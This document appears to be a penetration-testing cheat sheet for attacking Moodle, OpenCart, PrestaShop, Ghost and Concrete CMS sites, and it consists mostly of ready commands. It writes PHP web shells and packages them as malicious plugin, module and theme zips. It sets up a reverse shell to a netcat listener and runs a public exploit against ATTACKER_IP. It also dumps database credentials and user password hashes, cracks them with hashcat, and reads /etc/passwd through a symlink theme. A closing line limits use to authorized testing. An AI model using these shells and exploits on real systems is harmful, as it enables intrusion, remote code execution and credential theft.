Login as Manager (or admin)
│
└─── Site Administration → Plugins → Install plugins
└── Upload malicious .zip (valid Moodle block plugin)
└── Confirm install
└── Access PHP shell via plugin path
────────────────────────────────────────────────────────────────────────────
# Use pre-built Moodle RCE plugin (pentest-monkey revshell inside block)
git clone https://github.com/HoangKien1020/Moodle_RCE
# Edit: blocks/rce/lang/en/block_rce.php
# Change IP/PORT in the reverse shell code
zip -r rce_plugin.zip rce/
# Upload via: Site Administration → Plugins → Install Plugins
# After install, trigger:
curl "http://target.com/moodle/blocks/rce/lang/en/block_rce.php?cmd=id"
# Or use the pentest-monkey PHP reverse shell:
# 1. Download php-reverse-shell.php
# 2. Edit IP/PORT
# 3. Place inside: rce/lang/en/block_rce.php
# 4. Zip and upload
# 5. Start nc -lvnp 4444
# 6. Curl the plugin path → shell fires
# config.php contains all DB credentials
find / -name "config.php" 2>/dev/null | grep "moodle"
# Common location: /var/www/html/moodle/config.php
cat /var/www/html/moodle/config.php | grep -E "dbtype|dbhost|dbname|dbuser|dbpass"
# Dump user table directly
mysql -u moodle_user -pmoodle_pass moodle_db \
-e "SELECT email, username, password FROM mdl_user;"
# Moodle hashes: bcrypt ($2y$) — crack with hashcat mode 3200
hashcat -a 0 -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
# Version file
curl -s "http://target.com/index.php?route=common/home" | grep -i "opencart\|version"
# Admin path (often changed but defaults are common)
# Default: /admin/
curl -s "http://target.com/admin/"
# Version disclosure in XML
curl -s "http://target.com/system/startup.php"
curl -s "http://target.com/upload/admin/view/javascript/jquery/ui/jquery-ui.js" | head -2
# Directory enumeration
gobuster dir -u http://target.com \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
# Look for: /admin/, /catalog/, /system/, /image/, /download/
# droopescan
droopescan scan opencart -u http://target.com/
# After admin login (default path: /admin/)
# Method 1: Extensions → Installer → Upload malicious .ocmod.zip
cat > shell.php << 'EOF'
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>
EOF
# Create valid ocmod structure
mkdir -p upload/
cp shell.php upload/shell.php
zip webshell.ocmod.zip upload/shell.php
# Upload via Extensions → Installer
# Trigger:
curl "http://target.com/shell.php?cmd=id"
# Method 2: Design → Theme Editor → edit PHP template files
# Navigate: Design → Theme → edit header.tpl or common/header.twig
# Inject PHP at top of template:
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>
# → trigger via homepage or any page
# Method 3: Tools → File Manager (newer OpenCart versions)
# Direct file upload/edit capability
# Upload shell.php to webroot
# CVE-2021-3287 — Remote code execution via phar deserialization
# Affects OpenCart 3.0.3.7 and earlier
# Requires admin credentials
# CVE-2020-11931 — Arbitrary file upload → RCE
# Affects OpenCart 3.0.3.6
# CVE-2018-20717 — Authenticated path traversal → file deletion
# Affects OpenCart 3.0.2.0
# searchsploit for all OpenCart vulns
searchsploit opencart
searchsploit -x 47481 # OpenCart 3.x RCE
# Admin default credentials to try:
# admin:admin | admin:password | admin:opencart
# Main config locations
/var/www/html/config.php # storefront config
/var/www/html/admin/config.php # admin config
cat /var/www/html/config.php | grep "DB_"
# Output: define('DB_USERNAME', 'oc_user');
# define('DB_PASSWORD', 'oc_pass');
# define('DB_DATABASE', 'opencart');
# Dump admin password hashes
mysql -u oc_user -poc_pass opencart \
-e "SELECT username, password, salt FROM oc_user;"
# OpenCart uses md5(md5(salt) + md5(password)) — custom hash
# Crack with hashcat (mode 21 = md5($salt.md5($pass)))
# Version file
curl -s "http://target.com/AdminLogin?controller=AdminLogin" # admin login
curl -s "http://target.com/modules/" # module directory (sometimes listed)
# Reliable version paths
curl -s "http://target.com/js/version.js" | grep version
curl -s "http://target.com/js/jquery.cookie.js" | head -2
# Admin panel path enumeration (often obfuscated)
# Default was /admin/ or /adminNNNNNN/ (randomized on install)
# Find it with:
gobuster dir -u http://target.com \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt \
-x php \
--status-codes 200,301,302 | grep -i "admin"
# Look for: /adminXXXXXX/ directory
curl -s "http://target.com/INSTALL.txt" # version may be present (usually deleted)
# ─── CVE-2023-43976 — Critical SQLi → XSS → RCE Chain ───
# Affects: PrestaShop < 8.1.1
# Mechanism: SQL injection via cart cartId parameter → steal admin cookies → RCE
# ─── CVE-2022-31101 — Unauthenticated RCE ───
# Affects: PrestaShop < 1.7.8.6
# Mechanism: chained SQL injection allows writing a web shell to disk
# PoC:
git clone https://github.com/aelmokhtar/CVE-2022-31101
python3 exploit.py --url http://target.com --port 4444 --lhost ATTACKER_IP
# ─── CVE-2018-19355 — Authenticated RCE via Module Upload ───
# Affects: PrestaShop 1.6.x, 1.7.x
# Mechanism: zip slip in module upload allows writing files outside webroot
# Nuclei templates for PrestaShop:
nuclei -u http://target.com -tags prestashop
# After gaining admin access:
# Modules → Module Manager → Upload a module
# Create malicious PrestaShop module
mkdir -p rce_module
cat > rce_module/rce_module.php << 'EOF'
<?php
if (!defined('_PS_VERSION_')) exit;
class Rce_Module extends Module {
public function __construct() {
$this->name = 'rce_module';
$this->tab = 'front_office_features';
$this->version = '1.0.0';
parent::__construct();
}
public function install() {
return parent::install();
}
}
EOF
cat > rce_module/shell.php << 'EOF'
<?php if(isset($_REQUEST['cmd'])){ system($_REQUEST['cmd']); } ?>
EOF
zip -r rce_module.zip rce_module/
# Upload: Modules → Module Manager → Upload a module → select zip
# Trigger shell:
curl "http://target.com/modules/rce_module/shell.php?cmd=id"
# Config file (contains DB creds)
/var/www/html/app/config/parameters.php # PrestaShop 1.7+
/var/www/html/config/settings.inc.php # PrestaShop 1.6.x
cat /var/www/html/app/config/parameters.php | grep -E "database"
# Dump admin credentials
mysql -u ps_user -pps_pass prestashop_db \
-e "SELECT email, passwd FROM ps_employee;"
# Hash format: md5 or bcrypt (newer PS) — check version
# md5: hashcat -m 0
# bcrypt: hashcat -m 3200
# Ghost runs on Node.js — very different from PHP CMS
# Common ports: 2368 (default), 80/443 via nginx reverse proxy
# Version detection
curl -s "http://target.com/ghost/api/admin/site/" \
-H "Content-Type: application/json" | python3 -m json.tool
# Response includes "version" field (unauthenticated!)
# Admin panel path
http://target.com/ghost/ # Ghost admin
# Detect via HTTP response header
curl -I http://target.com | grep -i "x-powered-by"
# Output: X-Powered-By: Express (Node.js)
# Check for exposed Ghost API
curl -s "http://target.com/ghost/api/v3/content/posts/?key=<content_api_key>"
# Content API key is sometimes leaked in HTML source
curl -s http://target.com | grep -i "ghost_head\|content_api_key"
# ─── CVE-2023-40028 — Arbitrary File Read (Authenticated) ───
# Affects: Ghost < 5.59.1
# Mechanism: theme upload symlink attack allows reading arbitrary files
# PoC:
# 1. Create malicious theme zip with symlink pointing to /etc/passwd
mkdir evil_theme
ln -s /etc/passwd evil_theme/passwd
zip --symlinks evil_theme.zip evil_theme/
# 2. Upload via Ghost admin: Settings → Design → Upload theme
# 3. Activate the theme
# 4. Access: http://target.com/passwd (reads /etc/passwd contents)
# ─── CVE-2022-41654 — Newsletter Injection (Authenticated Low-Priv) ───
# Affects: Ghost 5.9.4 and below
# Mechanism: member can inject arbitrary content into newsletters
# → potential phishing / stored XSS targeting other members
# ─── Unauthenticated content enumeration via API ───
curl -s "http://target.com/ghost/api/content/posts/?key=LEAKED_KEY&limit=all" \
| python3 -m json.tool
# Returns all posts including drafts if key is leaked
# Ghost themes are Handlebars (.hbs) templates + helpers
# Ghost does NOT execute PHP, so approach is different:
# → SSTI (Server-Side Template Injection) via Handlebars
# → File read via symlink
# → Code injection via helpers if misconfigured
# ─── Handlebars SSTI in custom theme ───
# Create theme with SSTI payload in .hbs file:
cat > index.hbs << 'EOF'
{{#each (lookup . "author")}}
{{this}}
{{/each}}
{{!-- test for prototype pollution / helper injection --}}
EOF
# ─── File read via symlink (CVE-2023-40028 approach) ───
# Works when file system permissions allow symlink creation in tmp
# Standard approach: RCE is limited without SSRF/symlink primitives
# Focus: extract sensitive config (DB URL, S3 keys, API secrets)
# Ghost config file location:
# /var/www/ghost/config.production.json (default install)
# /home/ghost/config.production.json
# /opt/ghost/config.production.json
cat /var/www/ghost/config.production.json
# Contains: database credentials, mail server config, AWS S3 keys
# Version detection paths
curl -s "http://target.com/concrete/version" # some versions expose this
curl -s "http://target.com/index.php/dashboard/welcome" # requires login
# HTML source detection
curl -s http://target.com | grep -i "concrete\|ccm"
# Look for: /concrete/js/, /concrete/css/, ccm_basePath
# Admin panel
http://target.com/index.php/login # standard login path
http://target.com/index.php/dashboard # dashboard (redirects if unauth)
# Generator meta tag
curl -s http://target.com | grep "meta.*generator"
# Output: <meta name="generator" content="Concrete CMS" />
# ─── CVE-2021-40101 — Unauthenticated SQLi ───
# Affects: Concrete5 8.5.5 and below
# Mechanism: SQL injection in ccm_token parameter
sqlmap -u "http://target.com/index.php/tools/required/files/importers" \
--data="ccm_token=1" --level=5 --risk=3 --dbs
# ─── CVE-2019-9685 — Authenticated PHP Object Injection → RCE ───
# Affects: Concrete5 8.x
# Mechanism: Unserialize on user-supplied data in file manager
# ─── GHSA-pv2v-6w2v-97x6 — Authenticated RCE via deserialization ───
# Affects: Concrete CMS 9.5.0 and below
# Mechanism: REST API json_decode bypasses _fromCIF check
# → malicious serialized payload in block's filterFields column
# → executes when block data is viewed by admin
# searchsploit lookup
searchsploit concrete5
searchsploit concrete cms
# After gaining admin access:
# Method 1: File Manager → upload PHP file
# Navigate: Dashboard → Files → File Manager → Upload File
# Upload shell.php
# Access: http://target.com/application/files/shell.php?cmd=id
# Note: newer versions restrict PHP upload — try bypass methods from Section 7.1
# Method 2: Stacks & Blocks → custom HTML block
# Dashboard → Stacks → Add Stack → add HTML block
# Inject JavaScript or PHP-based payload depending on server config
# Method 3: Theme upload (Concrete CMS supports .zip theme packages)
# Create malicious theme zip with PHP shell:
mkdir -p rce_theme/
cat > rce_theme/shell.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF
cat > rce_theme/description.xml << 'EOF'
<?xml version="1.0"?>
<theme><name>Shell</name><version>1.0</version></theme>
EOF
zip -r rce_theme.zip rce_theme/
# Upload: Dashboard → Pages & Themes → Add Theme → Upload
# Access: http://target.com/packages/rce_theme/shell.php?cmd=id
DETECTION:
──────────────────────────────────────────────────────────────────
Unknown CMS? → whatweb -a 3 / cmseek / html source
Multiple targets? → python3 cms-scanner.py -f targets.txt
Need all in one? → cmsmap http://target.com
ENUMERATION:
──────────────────────────────────────────────────────────────────
WordPress → wpscan --url target --enumerate u,vp,vt --api-token TOKEN
Joomla → perl joomscan.pl -u http://target.com --ec
Drupal → droopescan scan drupal -u http://target.com
Magento → php magescan.phar scan:all http://target.com
TYPO3 → python3 typo3scan.py -d http://target.com --vuln
Moodle → droopescan scan moodle / badmoodle / moodlescan
OpenCart → droopescan scan opencart -u http://target.com
PrestaShop → nuclei -u target -tags prestashop
Ghost → curl /ghost/api/admin/site/ (version leak, unauthenticated)
Concrete CMS → searchsploit + manual path probing
| CMS |
Login Path |
Version Path |
Config File |
| WordPress |
/wp-login.php |
/readme.html |
wp-config.php |
| Joomla |
/administrator/ |
/administrator/manifests/files/joomla.xml |
configuration.php |
| Drupal |
/user/login |
/CHANGELOG.txt |
sites/default/settings.php |
| Magento |
/admin (custom) |
magescan scan:version |
app/etc/local.xml |
| TYPO3 |
/typo3/index.php |
/typo3/sysext/core/composer.json |
typo3conf/LocalConfiguration.php |
| Moodle |
/login/index.php |
/lib/upgrade.txt, /version.php |
/config.php |
| OpenCart |
/admin/ |
Gobuster /admin/ discovery |
/config.php, /admin/config.php |
| PrestaShop |
/adminXXX/ |
/js/version.js |
app/config/parameters.php |
| Ghost |
/ghost/ |
/ghost/api/admin/site/ (API response) |
config.production.json |
| Concrete CMS |
/index.php/login |
HTML source meta generator |
application/config/database.php |
| CVE |
CMS |
Version Affected |
Type |
Auth |
| CVE-2018-7600 |
Drupal |
6/7/8 |
RCE (Drupalgeddon 2) |
No |
| CVE-2023-23752 |
Joomla |
4.0.0–4.2.7 |
API Info Disclosure |
No |
| CVE-2015-1397 |
Magento |
CE < 1.9.1.0 |
SQLi → Admin Creation |
No |
| CVE-2019-12747 |
TYPO3 |
8.x ≤ 8.7.26, 9.x ≤ 9.5.7 |
PHP Object Injection → RCE |
Yes |
| CVE-2025-59020 |
TYPO3 |
10.0–14.0.1 |
Broken Access Control |
Yes |
| CVE-2024-43425 |
Moodle |
< 4.1.12 / 4.2.9 / 4.3.6 |
RCE via calculated questions |
Yes |
| CVE-2020-14321 |
Moodle |
3.9 / 3.8 / 3.7 |
Priv Esc Teacher → Manager |
Yes |
| CVE-2025-26529 |
Moodle |
4.4.5 |
SSRF → XSS → RCE Chain |
No |
| CVE-2022-31101 |
PrestaShop |
< 1.7.8.6 |
SQLi → Unauthenticated RCE |
No |
| CVE-2023-43976 |
PrestaShop |
< 8.1.1 |
SQLi → XSS → RCE |
No |
| CVE-2023-40028 |
Ghost |
< 5.59.1 |
Arbitrary File Read |
Yes |
| GHSA-pv2v-6w2v |
Concrete CMS |
≤ 9.5.0 |
Deserialization → RCE |
Yes |
Note: Always confirm authorization before testing. All techniques documented here
are for ethical hacking, CTF practice, and authorized penetration testing only.